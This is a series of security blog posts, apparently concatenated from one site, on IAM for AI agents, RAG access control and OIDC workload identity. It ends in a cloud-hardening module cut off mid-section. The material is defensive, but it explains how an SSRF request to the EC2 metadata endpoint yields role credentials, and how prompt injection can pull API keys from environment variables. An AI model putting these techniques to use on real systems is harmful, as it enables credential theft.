The Non-Human Identity Problem Is Back → RAG Access Control → OIDC and Workload Identity for LLM Pipelines

TL;DR

• OIDC workload identity solved the static-key problem for cloud-native workloads; the same patterns apply directly to LLM pipelines — but most teams building RAG systems aren’t applying them
• A typical LLM pipeline has 4–6 distinct services (embedding, retrieval, generation, tool execution, orchestration, monitoring) — each should have its own bounded identity with short-lived tokens
• Static API keys in environment variables are the single most common credential anti-pattern in AI deployments today; they are long-lived, hard to rotate, and not scoped to a single service
• The OIDC pattern: the inference workload proves its identity to a cloud OIDC provider and exchanges a short-lived identity token for a scoped access token — no static credential ever exists in the environment
• For LLM tool integrations (agents calling external APIs), OAuth 2.0 device authorization and token exchange patterns scope what the agent can do on behalf of a user — the agent should never hold the user’s full credentials

OWASP Mapping: OWASP LLM03 — Supply Chain. Static credentials in LLM pipeline services are supply chain vulnerabilities: they can be exfiltrated via prompt injection, leaked via LLM02 (Sensitive Information Disclosure), or extracted from container images. Workload identity removes the credential from the attack surface entirely.

The Big Picture

OIDC WORKLOAD IDENTITY FOR A RAG PIPELINE

Without OIDC (common today)            With OIDC (what it should be)
─────────────────────────────────────────────────────────────────────

┌─────────────────────┐               ┌─────────────────────────────┐
│  K8s Pod            │               │  K8s Pod                    │
│  ┌───────────────┐  │               │  ┌──────────────────────┐   │
│  │ Generation    │  │               │  │ Generation Service   │   │
│  │ Service       │  │               │  │                      │   │
│  │               │  │               │  │ OIDC token (auto)    │   │
│  │ API_KEY=sk-.. │  │               │  │ → exchange for:      │   │
│  │ DB_PASS=xxx   │  │               │  │   LLM API: invoke    │   │
│  │ VDB_TOKEN=yyy │  │               │  │   (scoped, 1hr TTL)  │   │
│  └───────────────┘  │               │  └──────────────────────┘   │
└─────────────────────┘               └─────────────────────────────┘
         │                                          │
Static keys in env vars:               No static keys in environment:
- Long-lived (months/years)            - OIDC assertion from pod SA
- Not scoped to one service            - Exchanged for short-lived token
- Visible in process env               - Scoped to this service's actions
- Exfiltrable via prompt injection     - Not present if workload is absent
- Shared across environments           - Separate identity per environment

OIDC workload identity is the pattern that eliminated static instance credentials from well-run cloud deployments. It works the same way for LLM pipeline services — and most of the infrastructure to support it already exists in every major cloud platform.

Why LLM Pipelines Have a Worse Static Key Problem

Cloud-native workloads standardized on workload identity over the last five years, but the teams building LLM pipelines in 2024–2025 were often moving fast — data scientists, ML engineers, product engineers — not the same people who spent years cleaning up IAM in cloud infrastructure.

The result is a category of deployments that looks modern (Kubernetes, managed LLM APIs, vector databases) but runs on credentials hygiene from 2016:

• OpenAI/Anthropic/Bedrock API key in a Kubernetes secret, synced to an environment variable, unchanged since the pilot
• Pinecone/Weaviate token in the same pattern
• Database password for the metadata store sitting in a ConfigMap
• No credential rotation because the system works and rotation requires downtime planning

This is not a failure of intent. It’s a failure of infrastructure readiness: the workload identity patterns that exist for S3 and DynamoDB don’t have equivalents that are obvious for OpenAI API calls or third-party vector store APIs. The path of least resistance is a static key.

But the attack surface created by static keys in LLM workloads is significantly worse than in traditional cloud workloads, for one reason: prompt injection can exfiltrate credentials from the runtime environment.

If your LLM generation service runs with OPENAI_API_KEY and DATABASE_URL in its environment, and an attacker can inject a prompt that causes the model to execute a tool call that reads environment variables, those credentials are exposed. The static key that took a year to rotate is now in the attacker’s hands in a single request.

The Four Services That Need Separate Identities

A production RAG pipeline typically has these services. Each needs its own identity — not one shared service account.

┌──────────────────────────────────────────────────────────────────┐
│  RAG PIPELINE — SERVICE IDENTITY MAP                             │
│                                                                  │
│  ┌─────────────────┐   identity: embed-sa                        │
│  │ Embedding       │   permissions:                              │
│  │ Service         │     - vector_store: write (own namespace)   │
│  │                 │     - source_docs: read                     │
│  └────────┬────────┘                                             │
│           │ vectors                                              │
│           ▼                                                      │
│  ┌─────────────────┐   identity: vectordb-sa                     │
│  │ Vector          │   permissions:                              │
│  │ Database        │     - internal service, accessed via API   │
│  └────────┬────────┘                                             │
│           │ filtered query                                       │
│           ▼                                                      │
│  ┌─────────────────┐   identity: retrieve-sa                     │
│  │ Retrieval       │   permissions:                              │
│  │ Service         │     - vector_store: read (user-scoped)      │
│  │                 │     - No LLM API access                     │
│  └────────┬────────┘                                             │
│           │ authorized chunks                                    │
│           ▼                                                      │
│  ┌─────────────────┐   identity: generate-sa                     │
│  │ Generation      │   permissions:                              │
│  │ Service         │     - llm_api: invoke                       │
│  │                 │     - No vector store access                │
│  └────────┬────────┘     - No source_docs access                 │
│           │ prompt + context                                     │
│           ▼                                                      │
│  ┌─────────────────┐   identity: tools-sa                        │
│  │ Tool Execution  │   permissions:                              │
│  │ Layer           │     - per-tool, per-action scoping          │
│  │                 │     - human gate for write operations        │
│  └─────────────────┘                                             │
└──────────────────────────────────────────────────────────────────┘

Why this separation matters:
If the generation service is compromised (prompt injection), the attacker has LLM API invocation rights — they can burn your API budget. They cannot read the vector store, because the generation service has no access to it. They cannot read source documents. They cannot write to the vector database. The blast radius is bounded.

If the retrieval service is compromised, the attacker gets query access to the vector store, scoped to the user context that was being served. They cannot write to it, cannot reach the LLM API, cannot access source documents.

This is the same principle that makes micro-segmentation effective in network security. The breach happens; you contain what the breach can reach.

Implementing OIDC: AWS, GCP, and Kubernetes

AWS: IAM Roles for Service Accounts (IRSA)

For LLM services running on EKS, IRSA is the standard pattern. The pod gets a Kubernetes service account that is annotated with an IAM role ARN. The pod’s credential chain automatically exchanges the OIDC token from the pod’s projected service account volume for a short-lived AWS STS credential.

apiVersion: v1
kind: ServiceAccount
metadata:
  name: llm-generate-sa
  namespace: llm-prod
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::123456789:role/llm-generate-prod

// IAM role trust policy — only this specific K8s SA can assume it
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "Federated": "arn:aws:iam::123456789:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/XXXX"
    },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "oidc.eks.us-east-1.amazonaws.com/id/XXXX:sub": "system:serviceaccount:llm-prod:llm-generate-sa"
      }
    }
  }]
}

// IAM policy — scoped to only what the generation service needs
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": ["bedrock:InvokeModel"],
    "Resource": "arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-3-5-sonnet*"
  }]
}

No static key. The pod proves its identity via the OIDC token from the Kubernetes projected volume. The token has a 1-hour TTL and is bound to this specific service account in this specific namespace in this specific cluster.

GCP: Workload Identity Federation

For GCP workloads on GKE:

# K8s service account bound to a GCP service account
apiVersion: v1
kind: ServiceAccount
metadata:
  name: llm-retrieve-sa
  namespace: llm-prod
  annotations:
    iam.gke.io/gcp-service-account: llm-retrieve-sa@my-project.iam.gserviceaccount.com

# Bind K8s SA to GCP SA
gcloud iam service-accounts add-iam-policy-binding \
  llm-retrieve-sa@my-project.iam.gserviceaccount.com \
  --role roles/iam.workloadIdentityUser \
  --member "serviceAccount:my-project.svc.id.goog[llm-prod/llm-retrieve-sa]"

# Grant the GCP SA only what the retrieval service needs
gcloud projects add-iam-policy-binding my-project \
  --role roles/datastore.viewer \
  --member "serviceAccount:llm-retrieve-sa@my-project.iam.gserviceaccount.com"

Third-Party APIs: The Gap That Still Needs Static Keys

OIDC works cleanly for cloud provider resources. For third-party LLM APIs (OpenAI, Anthropic) and third-party vector stores (Pinecone, Weaviate), there is currently no OIDC exchange — those providers do not accept cloud-native OIDC tokens.

For these cases, the correct pattern is:

1. Store in a secrets manager, not environment variables — AWS Secrets Manager, GCP Secret Manager, HashiCorp Vault
2. Inject at runtime via the secrets manager API, not via environment variables
3. Scope the IAM permission to read the specific secret to the relevant service account only
4. Set a rotation schedule — 90 days maximum, 30 days preferred
5. Use separate API keys per service — the generation service and the embedding service should have different API keys with different usage quotas

# Retrieve API key at runtime from secrets manager — not from env vars
import boto3

def get_llm_api_key(secret_name: str, region: str = "us-east-1") -> str:
    client = boto3.client("secretsmanager", region_name=region)
    # boto3 uses the pod's IRSA role — no static credential needed to call Secrets Manager
    response = client.get_secret_value(SecretId=secret_name)
    return response["SecretString"]

llm_client = Anthropic(api_key=get_llm_api_key("llm-prod/anthropic-api-key"))

The IAM credential (IRSA) accesses Secrets Manager; Secrets Manager holds the third-party API key. One layer of OIDC-based identity; one layer of secrets management. No static key in the environment.

Agent-Level Identity: When the AI Calls Your APIs

Agents that call tools are a distinct identity problem from services that call LLM APIs. When an agent calls an internal API on behalf of a user, it needs to be clear:

1. Which identity is making the call — the agent’s service identity, or the user’s delegated identity?
2. What scope the agent has — can it call any API the user can call, or only the APIs the agent was designed to use?

The correct model is delegated authorization, not impersonation. The agent should receive a narrowly-scoped token representing the user’s consent to specific actions, not the user’s full credentials.

WRONG: Agent uses user's session token
  User logs in → agent receives user's session cookie
  Agent can call any API the user can call
  Prompt injection = full user account compromise

RIGHT: Agent uses delegated, scoped token
  User authorizes agent for specific actions
  Agent receives token with limited scope:
    - read:documents (user's own documents only)
    - write:calendar (only create events, not delete)
  Agent cannot call billing API, admin API, etc.
  Prompt injection = limited to authorized scope

OAuth 2.0 token exchange (RFC 8693) formalizes this pattern. The user authenticates and consents to specific scopes; those scopes are encoded in a token issued specifically for the agent. The agent presents this token to downstream services; those services verify the scope before accepting the request.

# OAuth 2.0 token exchange: user token → agent-scoped token
def exchange_for_agent_token(user_token: str, agent_id: str, requested_scopes: list) -> str:
    response = requests.post(
        "https://auth.internal/oauth/token",
        data={
            "grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
            "subject_token": user_token,
            "subject_token_type": "urn:ietf:params:oauth:token-type:access_token",
            "requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
            "scope": " ".join(requested_scopes),
            "actor_token": agent_id,
        }
    )
    return response.json()["access_token"]

# The agent gets a token scoped only to what it needs
agent_token = exchange_for_agent_token(
    user_token=current_user.session_token,
    agent_id="doc-summarizer-v2",
    requested_scopes=["read:own_documents", "read:shared_documents"]
)

The downstream APIs see a token with explicit scope. They don’t need to know whether the caller is a human or an agent — they check the scope. The agent cannot call APIs outside its declared scope, regardless of what a prompt injection instructs it to do.

Production Gotchas

IRSA/Workload Identity breaks when pods share a service account
If multiple pods share the same Kubernetes service account, they all get the same IAM role. A compromised embedding service pod now has the retrieval service’s permissions too. One service account per deployment, no exceptions.

Secrets Manager still needs rotation automation
Moving from environment variables to Secrets Manager removes static keys from the container environment — it does not automatically rotate them. Rotation requires: a Lambda function (or Cloud Run job) that calls the third-party API to generate a new key, stores it in Secrets Manager, and invalidates the old one. Most third-party LLM providers now support API key rotation without downtime. Build the rotation automation at the same time you build the Secrets Manager integration, not as a follow-up task.

OIDC token audience must be validated
When you accept OIDC tokens from Kubernetes, validate the aud (audience) claim. A token issued for one service should not be accepted by another. Without audience validation, a compromised service can present its own token to other services and receive their resources.

The agent token scope must match what you’ve tested
If you scope the agent token to read:documents but your integration test used a full admin token, you will find scope failures in production. Test with scoped tokens in staging. The first time you discover a missing scope should not be during a production incident.

Quick Reference: Credential Pattern by Service Type

Framework Alignment

Key Takeaways

• LLM pipeline services need separate service accounts the same way Lambda functions and Kubernetes workloads do — the multi-year lesson from cloud-native IAM applies directly to AI pipelines
• OIDC/workload identity eliminates static keys for cloud provider API calls; third-party APIs (OpenAI, Pinecone) still need secrets management — the difference is where the credential lives, not whether one exists
• One Kubernetes service account per deployment; validate OIDC token audience; build rotation automation at the same time as secrets manager integration
• Agents calling user-scoped APIs should use OAuth 2.0 token exchange, not user session tokens — the agent gets a scoped, delegated token, not the user’s full credentials
• The blast radius of prompt injection is bounded by the compromised service’s identity scope; over-provisioned pipeline service accounts turn every injection into a data breach

What’s Next

EP01 and EP02 covered the agent as a credential holder. EP03 covered the pipeline services that surround it. EP04 covers the interaction between prompt injection and IAM — specifically, how a successful injection becomes an IAM attack when the agent’s permissions are broader than its function requires. The attacker doesn’t need to compromise the credential store. They use the agent’s valid credentials as a proxy.

When Prompt Injection Becomes IAM Abuse →

Get EP04 in your inbox when it publishes → subscribe

The post OIDC and Workload Identity for LLM Pipelines appeared first on Linuxcent.

The Non-Human Identity Problem Is Back → RAG Access Control → OIDC and Workload Identity for LLM Pipelines

TL;DR

• Most vector databases have no document-level access control by default — if a document was indexed, any query can retrieve it
• In a multi-user RAG application, this means User A’s confidential documents can end up in User B’s context window without any API call, auth token, or permission check failing
• RAG access control requires enforcement at three separate layers: at ingestion (what gets indexed), at retrieval (what the query can return), and at the application layer (what the model receives)
• The technical solutions exist — namespace isolation, metadata filtering, Row Level Security on pgvector, Weaviate RBAC — but they require deliberate implementation; they are not defaults
• The IAM principle is the same one that solved the S3 bucket problem: you must assume all data in the store is sensitive, and access must be granted explicitly, not assumed by adjacency

OWASP Mapping: OWASP LLM08 — Vector and Embedding Weaknesses. This episode covers the access control gap that makes vector databases the most commonly misconfigured IAM boundary in LLM deployments.

The Big Picture

RAG PIPELINE: WHERE ACCESS CONTROL BREAKS DOWN

User A                     User B
  │                           │
  ▼                           ▼
[Query: "summarize           [Query: "what are our
 my performance review"]      Q4 revenue projections?"]
         │                           │
         └──────────┬────────────────┘
                    ▼
            ┌──────────────┐
            │  LLM / RAG   │
            │  Application │
            └──────┬───────┘
                   │
                   ▼ similarity search
            ┌──────────────────────────────┐
            │     Vector Database          │
            │  ┌─────────────────────────┐ │
            │  │ performance_review_a    │ │ ← User A's private doc
            │  │ q4_revenue_projections  │ │ ← Finance-only doc
            │  │ engineering_runbook     │ │ ← Internal ops doc
            │  │ hr_salary_bands         │ │ ← HR-only doc
            │  │ customer_contracts      │ │ ← Legal-only doc
            │  └─────────────────────────┘ │
            │  ← ONE collection, no ACLs   │
            └──────────────────────────────┘

Without access control, User B's query about "projections"
can semantically retrieve User A's performance review,
the salary band document, and customer contracts
— all in a single unauthenticated vector similarity search.

RAG access control is the IAM problem that most vector database deployments skip entirely. The retrieval layer is effectively a permission-free zone: if a document is indexed, it is queryable. The permissions model that governs who uploaded the document has no connection to the permissions model that governs who can retrieve it.

Why This Happens

The fastest path to a working RAG system is also the path with no access control:

1. Index all your documents into one vector store collection
2. At query time, run a similarity search
3. Pass the top-N results to the model as context

This works. It produces a demo that impresses stakeholders. And it has no concept of “is the user who submitted this query authorized to read these retrieved documents?”

The problem is structural: vector similarity search is a mathematical operation on embeddings. It finds nearest neighbors in a high-dimensional space. It does not have a concept of authorization. The database returns the most semantically similar documents to the query — full stop. It does not know or care who is asking or what they are allowed to see.

This is the same failure class as public S3 buckets. The storage system itself is not wrong — it returned what it was asked for. The mistake is not building the access control layer that determines what can be asked.

The consequence in RAG is worse than in S3 in one specific way: the exposure is invisible. When someone accesses a public S3 bucket, there’s an explicit HTTP request and a 200 response in the access logs. In RAG, the unauthorized document surfaces inside a model response. There’s no explicit “unauthorized document retrieved” event. The application sent a query; the database returned results; the model included them in its answer. Everything “worked.”

How User A’s Data Ends Up in User B’s Context

Three realistic scenarios:

Scenario 1: Semantic proximity

User A uploads a performance review: “Alice achieved 94% of her targets in Q3, and her compensation adjustment is scheduled for December.”

User B asks about Q3 performance metrics for the engineering team.

The similarity search returns User A’s document as a top-N result because it contains “Q3,” “performance,” and numerical metrics. The model includes it in the context and may summarize or reference it in its answer.

No authentication was bypassed. No API was misused. A semantically similar document was retrieved by a semantically similar query.

Scenario 2: Shared namespace, different sensitivity levels

A knowledge base contains both public documentation (product manuals, FAQ articles) and internal documents (salary bands, acquisition targets, unreleased roadmap). They’re all indexed together because the indexing pipeline processes all documents from a shared document store.

A user with access to the public KB submits queries that — through careful phrasing — retrieve internal documents via semantic overlap. They never access the internal document store directly. They access it through the model’s context window.

Scenario 3: Cross-tenant retrieval

A SaaS application uses a shared vector database for all customers. Customer A uploads their proprietary process documentation. Customer B’s query, framed in similar terminology, retrieves Customer A’s documents.

This is a data breach. It does not involve any failed authentication — it involves missing authorization at the retrieval layer.

The Three Enforcement Points

Fixing RAG access control requires thinking about authorization at three distinct layers, not one.

Layer 1: Ingestion — What Gets Indexed

Every document that enters the vector store should be tagged with the identity of its owner and the scope of who is authorized to retrieve it. This metadata travels with the document through the pipeline.

vector_store.upsert(
    id="doc_performance_review_alice_2024",
    vector=embedding,
    metadata={
        "owner_user_id": "user_alice",
        "authorized_roles": ["hr_manager", "alice"],
        "sensitivity": "restricted",
        "department": "engineering",
    }
)

If the document has no access control metadata, treat it as the most sensitive class, not the least. Default-deny.

This requires the indexing pipeline to have access to the permission model. The pipeline needs to know, at index time, who can retrieve this document. That means the indexing service must be integrated with your IAM system — not just your document store.

Layer 2: Retrieval — What the Query Can Return

Every similarity search should be filtered by the requesting user’s authorization context. Most vector databases support metadata filtering at query time.

# Retrieve only documents the requesting user is authorized to see
results = vector_store.query(
    vector=query_embedding,
    filter={
        "$or": [
            {"owner_user_id": {"$eq": current_user_id}},
            {"authorized_roles": {"$in": current_user_roles}},
        ]
    },
    top_k=5
)

This is the equivalent of parameterized queries in SQL — you are not filtering after the fact, you are scoping the search space before retrieval. Only documents the user is authorized to see are candidates for the similarity search.

What each vector store supports:

pgvector via PostgreSQL RLS is the strongest option — authorization is enforced at the database engine level, not in application code. The query cannot return rows the RLS policy does not permit, regardless of how the application constructs the query.

-- PostgreSQL RLS policy for vector store table
ALTER TABLE document_embeddings ENABLE ROW LEVEL SECURITY;

CREATE POLICY user_isolation ON document_embeddings
    USING (
        owner_user_id = current_setting('app.current_user_id')
        OR current_setting('app.current_user_id') = ANY(authorized_user_ids)
    );

With this policy, even if the application layer is compromised or misconfigured, the database will not return unauthorized rows.

Layer 3: Application — What the Model Receives

Even with ingestion-time tagging and retrieval-time filtering, there is a third layer: validating retrieved documents before they are passed to the model.

This is the paranoid layer. It assumes retrieval filtering may have gaps (a new document type that wasn’t tagged, a filter logic bug, a configuration drift). Before the retrieved chunks enter the model’s context window, verify their authorization against your canonical permission system.

# Post-retrieval authorization check
authorized_chunks = [
    chunk for chunk in retrieved_chunks
    if permissions.is_authorized(
        user_id=current_user_id,
        resource_id=chunk.metadata["document_id"],
        action="read"
    )
]
# Only pass authorized_chunks to the model

This is defense-in-depth for the retrieval layer. Each layer can catch failures in the layer before it.

The Service Account Problem in RAG Pipelines

Beyond user-level access control, RAG pipelines have a service account problem.

A typical RAG pipeline has three services: an embedding service (converts documents to vectors), a retrieval service (queries the vector store), and a generation service (calls the LLM with the retrieved context). In most deployments, all three run under the same service account with broad access to the vector store.

This creates a privilege escalation path: if an attacker can compromise the generation service (via prompt injection, for example), they can pivot to the retrieval service’s permissions because they’re the same identity. The generation service doesn’t need write access to the vector store — but if it runs under the same account as the embedding service, it has it.

Correct architecture:

Embedding Service   ── service-account: embed-sa
  └─ Permissions: vector_store:write (ingestion only)

Retrieval Service   ── service-account: retrieve-sa
  └─ Permissions: vector_store:read (query only, filtered by user context)

Generation Service  ── service-account: generate-sa
  └─ Permissions: llm_api:invoke (no direct vector store access)
  └─ Receives retrieved chunks via the retrieval service, not directly

Three services, three service accounts, three scoped permission sets. The generation service never touches the vector store directly — it receives pre-filtered, pre-authorized chunks from the retrieval service. A compromised generation service cannot exfiltrate the full vector store.

Production Gotchas

“We’ll add access control after we get the retrieval quality right”
Retrieval quality work (tuning chunk size, embedding models, similarity thresholds) generates many query examples. Those examples often span the full document corpus with no filtering. By the time you want to add access control, you have a pipeline that has never been tested with filters active, and adding filters now changes the retrieval behavior in ways that may break your quality benchmarks. Build access control into the pipeline before tuning retrieval quality — not after.

Namespace isolation without metadata means you still have a shared infrastructure problem
Pinecone namespaces are storage partitions — separate query spaces, not separate security boundaries at the infrastructure level. The Pinecone index itself is still a single IAM-controlled resource. If your application logic routes the wrong user query to the wrong namespace, the filtering doesn’t fire. Namespace isolation reduces risk; it does not eliminate the need for query-time authorization checks.

Embedding model updates break access control metadata if you’re not careful
When you re-embed your corpus with a new model, you typically truncate and re-index. If the access control metadata is only in the vector store (not also in your document store), re-indexing will drop it. Treat access control metadata as a property of the document, not of the embedding — store it in your document store and re-attach it during any re-indexing operation.

The retrieval service is the database for access control purposes
Teams that run careful security reviews on their application database often don’t apply the same review to their vector store. If the vector store contains documents from multiple users or sensitivity levels, it should receive the same security review as your primary database — network isolation, access logging, credential rotation, encryption at rest.

Quick Reference: RAG Access Control Decision Matrix

Framework Alignment

Key Takeaways

• Vector databases have no document-level access control by default — authorization must be built explicitly at ingestion, retrieval, and the application layer
• The exposure is semantic, not structural: unauthorized documents are returned as semantically similar results, with no failed authentication to detect
• Three enforcement points: tag documents at ingestion, filter at retrieval, verify at the application layer before context reaches the model
• Separate service accounts for embedding, retrieval, and generation services — the generation service should never have direct vector store access
• pgvector with PostgreSQL RLS is the strongest technical control — authorization enforced at the database engine, not in application code

What’s Next

The retrieval layer is one part of the pipeline. The full LLM pipeline — embedding service, retrieval service, generation service, tool execution layer — has an identity problem at every stage. In EP03, we build out the complete OIDC and workload identity architecture for an LLM pipeline, so each service has its own bounded identity with short-lived tokens instead of static credentials.

OIDC and Workload Identity for LLM Pipelines →

Get EP03 in your inbox when it publishes → subscribe

The post RAG Access Control: The IAM Layer Your Vector Database Doesn’t Have appeared first on Linuxcent.

Identity in the Agentic Era, Episode 1
Medium | ~2,000 words | 8-minute read

I was reviewing an AI-powered internal tool a team had shipped to production. It summarized documents, answered questions about internal policy, and could update records in a few internal systems based on what it found.

When I asked what credentials it ran under, the engineer pulled up the service account configuration.

AdministratorAccess.

“It needed to read from S3, query DynamoDB, call a few internal APIs,” he said. “We weren’t sure exactly what it needed, so we gave it everything and planned to tighten it later.”

I had heard that sentence before. Almost word for word. In 2017, auditing an AWS account where six Lambda functions each carried three full-access managed policies because someone needed them to work quickly and planned to tighten them later. In 2019, reviewing a GCP project where a service account had roles/editor at the folder level for the same reason.

We are re-running the same IAM mistakes from the last decade, at speed, with a new class of actors that are harder to audit, harder to predict, and capable of taking autonomous action at a scale no human operator could match.

The non-human identity problem is back. And it brought reinforcements.

The Last Time We Had This Problem

In the early cloud era, the explosion of non-human identities was Lambda functions, EC2 instance profiles, container service accounts, CI/CD pipeline roles. Engineers needed these workloads to access cloud resources. The fastest path was broad permissions. And because nobody was accountable for “the Lambda’s IAM role” specifically, nobody came back to tighten it.

The IAM practices that emerged over the following years — least privilege policies, generated from actual usage rather than estimated requirements; workload identity federation instead of static credentials; OIDC short-lived tokens instead of long-lived access keys — were direct responses to the mess that accumulates when you grant first and audit never.

That took about a decade to normalize. Many environments still aren’t there.

Now we have AI agents. And we are starting the cycle again from scratch.

What Makes AI Agents Different as Identities

The workload identity problem from 2015 was hard because of scale — hundreds of Lambda functions, thousands of EC2 instances, each needing its own carefully scoped permissions.

AI agents introduce three properties that make the identity problem qualitatively harder.

Autonomy. A Lambda function does exactly what its code says. An AI agent decides what to do based on a prompt, context, and model behavior. The set of actions it might take is not fully enumerable at deployment time. This means you cannot reason about “what does this agent need access to” the same way you reason about a deterministic workload.

Manipulability. A Lambda function cannot be convinced to do something outside its code by a malicious user prompt. An AI agent can. If the agent has access to customer data and an attacker can inject a prompt that instructs it to exfiltrate that data, the agent’s valid credentials become the attack vector. This is prompt injection — and it turns IAM from a defense into a liability if permissions are too broad.

Opacity. When a Lambda function with s3:GetObject reads a file, you know exactly why: the code called that API. When an AI agent reads a file, the reason is a chain of model decisions that may not be logged, may not be auditable, and may not be consistent across runs. The audit trail that IAM depends on — who accessed what and why — becomes significantly harder to maintain.

The Same Mistakes, Same Causes

Walk through an AI agent deployment today and the anti-patterns are familiar:

Over-provisioned service accounts. The agent needs to read documents, call an API, maybe update a record. Rather than enumerate exactly which documents, which API endpoints, which records — all of which requires upfront work — the team grants broad access and ships. The access never gets tightened because the agent works and nobody is specifically accountable for its permissions.

Static long-lived credentials. The agent’s API keys are in environment variables. They were created six months ago. They’ve never been rotated. If the agent is compromised or its runtime environment is accessed, those credentials are available — and they’re broad.

No audit trail. The agent runs under a shared service account used by other services too. When CloudTrail shows an unexpected S3 read from that account, there is no way to know whether it came from the agent, the other service, or something else entirely.

“We’ll tighten it later.” The phrase that has followed every IAM explosion since 2012. Later rarely comes while the system is working.

These are not AI-specific failures. They are IAM failures that AI deployments are inheriting because the teams building agents are not always the same teams who spent the last decade cleaning up cloud IAM.

What Least Privilege Looks Like for an AI Agent

Applying least privilege to an AI agent requires working backwards from what the agent is actually allowed to do, not what it might conceivably need.

Enumerate the agent’s actions, not its access. A document summarization agent needs to read specific document stores, nothing else. An agent that updates records needs write access to specific tables with specific conditions — not the whole database. Define the scope from the action, not from the model’s capability.

Scope by data sensitivity. Not all data the agent could access is data the agent should access. An agent answering internal HR policy questions does not need read access to financial records. Separate the data stores. Separate the service accounts. The blast radius of a prompt injection attack is bounded by the permissions of the compromised service account.

Use short-lived credentials. If your AI agent runtime supports OIDC or workload identity federation — and most production platforms now do — use it. The agent gets a short-lived token scoped to its task. No long-lived key to rotate, no orphaned credential to discover later.

One service account per agent, per environment. Not a shared service account. Not the same account in staging and production. Each agent identity should be independently auditable, independently revocable.

# What you want to see in CloudTrail
eventSource: s3.amazonaws.com
eventName: GetObject
userIdentity:
  type: AssumedRole
  arn: arn:aws:sts::123456789:assumed-role/agent-doc-summarizer-prod/session

# What you don't want to see
userIdentity:
  arn: arn:aws:iam::123456789:user/ai-service-shared

The first entry tells you which agent, which role, which session. The second tells you nothing useful.

The Audit Gap

Here is the problem that doesn’t have a clean solution yet: even with a properly scoped service account, you know that the agent accessed a resource. You do not know why — what prompt triggered it, what reasoning led to it, what the agent was trying to accomplish.

This is the provenance gap in AI systems. Traditional IAM audit logs capture the action and the identity. For AI agents, you need a third dimension: the reasoning chain that produced the action.

Without that, your audit trail for compliance purposes is incomplete. You can prove that agent-doc-summarizer-prod read a file. You cannot prove whether it did so because a user asked a legitimate question or because an attacker injected a prompt that caused it to retrieve and expose that file.

Solving this requires logging not just the API call, but the context that produced it — the prompt, the model’s decision path, the tool call sequence. That logging infrastructure doesn’t exist out of the box in most AI frameworks today. Building it is one of the open problems in AI security, and it is an IAM problem at its core.

Framework Alignment

Key Takeaways

• AI agents are non-human identities. They inherit every IAM anti-pattern we spent a decade fixing for Lambda functions and EC2 instances — and introduce new ones unique to autonomous, manipulable systems
• Least privilege for AI agents works backwards from the agent’s defined actions, not from what it might conceivably need
• Prompt injection turns over-permissioned credentials into an attack vector — the agent’s valid access becomes the attacker’s access
• One service account per agent, per environment. Short-lived credentials where possible. No shared accounts that obscure audit trails
• The provenance gap — knowing why an AI agent took an action, not just that it did — is an open problem that traditional IAM logging doesn’t solve

What’s Next

In EP02, I’ll cover the specific IAM boundary that most AI pipelines are missing entirely: the data access layer for RAG systems. When your LLM retrieves context from a vector database, what controls what it can retrieve? The answer — for most teams right now — is nothing. And that’s a problem that has a concrete fix.

The post The Non-Human Identity Problem Is Back appeared first on Linuxcent.

Zero to Hero: Cybersecurity Architecture Masterclass, Module 3
← Module 2: Proactive Design · Module 3: Cloud-Native Hardening · Module 4: Resilience & Survival →

12 min read

TL;DR

• Cloud native infrastructure hardening starts from a different assumption than on-prem hardening: there is no network perimeter, only an identity perimeter — every AWS API call is the boundary
• IMDSv1 (the EC2 metadata service without a token) is the single highest-leverage cloud-native hardening fix available — it turned an SSRF bug into the Capital One breach
• IAM policy design is architecture, not IT administration: least privilege, permission boundaries, and SCPs compose into the actual perimeter
• Infrastructure-as-code scanning (checkov, tfsec) catches identity-perimeter mistakes in a pull request instead of in an incident
• aws iam simulate-principal-policy answers “can this role actually do that?” definitively, without waiting to find out in production
• Recommendation: treat IMDSv2 enforcement and IAM least-privilege review as pipeline gates, not periodic audits — the same “build constraint, not process step” principle from the OS Hardening series

The Big Picture: The Perimeter Moved to the API Call

ON-PREM MODEL                          CLOUD-NATIVE MODEL
──────────────                          ──────────────────
Firewall at network edge                No fixed network edge
        │                                        │
Trusted internal subnet                 Every API call carries its
        │                                 own identity + policy
Server assumed safe if                          │
inside the firewall                     IAM evaluates: who is this,
                                          what can they do, right now
                                                 │
                                          Perimeter = the IAM policy
                                          attached to the caller

Cloud-native infrastructure hardening means accepting that the network no longer defines what’s trusted — the AWS identity perimeter, enforced entirely through IAM policy evaluation on every single API call, is the only perimeter that actually exists. Module 1 called this the shift from network-centric to identity-centric trust; this module makes it concrete with the two failures that actually break it in production: a leaky metadata service and an over-permissioned role.

The Breach That Made IMDSv2 Mandatory

In 2019, a misconfigured WAF in front of a bank’s application allowed a Server-Side Request Forgery (SSRF) — an attacker convinced the application server to make an HTTP request to http://169.254.169.254, the EC2 instance metadata endpoint. IMDSv1 answered with no authentication required at all: temporary IAM credentials for the role attached to that instance, handed to anyone who could make the server issue that one request.

Those credentials had read access to S3. The attacker used them to exfiltrate over 100 million customer records. This is the Capital One breach — covered in full in the Purple Team series — and it is the single clearest illustration in cloud history of why “the perimeter is the identity, not the network” isn’t a slogan — it’s a description of exactly where that breach actually happened. The WAF misconfiguration was the entry point. The metadata service handing out credentials with zero verification was the architectural failure that turned an SSRF bug into a 100-million-record breach.

IMDSv2 closes this specific gap by requiring a session token, fetched via a PUT request, before any metadata GET request is honored — and that PUT request cannot be replayed through a typical SSRF, because SSRF vulnerabilities almost always only allow GET-style requests to be forged. This single setting is the highest-leverage cloud-native hardening control available, and it should be enforced at the account level, not left as an opt-in per instance:

# Check whether IMDSv2 is enforced (HttpTokens: required) on an instance
$ aws ec2 describe-instances --instance-ids i-0abc123 \
    --query 'Reservations[].Instances[].MetadataOptions'
{
    "HttpTokens": "required",
    "HttpPutResponseHopLimit": 1,
    "HttpEndpoint": "enabled"
}
# "required" = IMDSv2 only. "optional" = IMDSv1 still works — the gap.

# Enforce it account-wide for all new instances
$ aws ec2 modify-instance-metadata-defaults \
    --http-tokens required --http-put-response-hop-limit 1

IAM Policy Design Is Architecture

